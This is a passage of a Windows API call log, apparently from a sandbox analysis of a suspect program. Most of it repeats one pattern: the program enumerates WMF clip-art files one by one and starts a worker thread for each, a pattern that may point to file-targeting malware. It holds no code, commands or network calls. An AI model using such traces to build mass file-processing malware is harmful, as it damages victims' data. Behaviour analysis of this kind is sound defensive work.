	[0260.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x216c
	[0260.341] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.341] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1
	[0260.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2170
	[0260.344] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.344] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1
	[0260.344] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2174
	[0260.346] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.347] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1
	[0260.347] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2178
	[0260.350] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.350] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1
	[0260.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x217c
	[0260.353] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.353] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1
	[0260.353] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2180
	[0260.355] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.355] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1
	[0260.356] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2184
	[0260.358] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.359] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1
	[0260.359] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2188
	[0260.361] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.362] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1
	[0260.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218c
	[0260.364] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.365] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1
	[0260.365] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2190
	[0260.367] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.368] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1
	[0260.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2194
	[0260.369] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.370] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1
	[0260.370] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2198
	[0260.518] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.520] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1
	[0260.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x219c
	[0260.523] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.523] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1
	[0260.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a0
	[0260.526] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.527] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1
	[0260.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a4
	[0260.529] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.529] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1
	[0260.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a8
	[0260.532] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.532] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1
	[0260.532] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21ac
	[0260.535] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.538] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1
	[0260.538] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b0
	[0260.540] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.541] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1
	[0260.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b4
	[0260.544] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.545] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1
	[0260.545] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b8
	[0260.547] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.548] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1
	[0260.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21bc
	[0260.550] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.551] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1
	[0260.551] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c0
	[0260.554] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.554] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1
	[0260.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c4
	[0260.772] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.773] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1
	[0260.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c8
	[0260.776] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.777] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1
	[0260.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21cc
	[0260.779] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.779] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1
	[0260.780] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d0
	[0260.782] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.783] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1
	[0260.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d4
	[0260.786] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.786] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1
